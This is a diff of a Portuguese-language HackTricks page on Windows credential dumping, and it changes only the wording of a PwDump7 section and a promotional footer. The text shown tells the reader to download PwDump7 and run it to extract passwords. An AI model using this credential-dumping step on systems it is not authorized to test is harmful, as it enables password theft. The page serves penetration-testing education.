||||||
|
@ -289,22 +335,22 @@ type outpwdump
|
||||||
```
|
```
|
||||||
### PwDump7
|
### PwDump7
|
||||||
|
|
||||||
Baixe em: [http://www.tarasco.org/security/pwdump\_7](http://www.tarasco.org/security/pwdump\_7) e apenas **execute-o** e as senhas serão extraídas.
|
Baixe-o de: [http://www.tarasco.org/security/pwdump\_7](http://www.tarasco.org/security/pwdump\_7) e apenas **execute-o** e as senhas serão extraídas.
|
||||||
|
|
||||||
## Defesas
|
## Defesas
|
||||||
|
|
||||||
[**Saiba mais sobre algumas proteções de credenciais aqui.**](credentials-protections.md)
|
[**Aprenda sobre algumas proteções de credenciais aqui.**](credentials-protections.md)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda sobre hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenha o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo no Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo no telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
Loading…
Reference in a new issue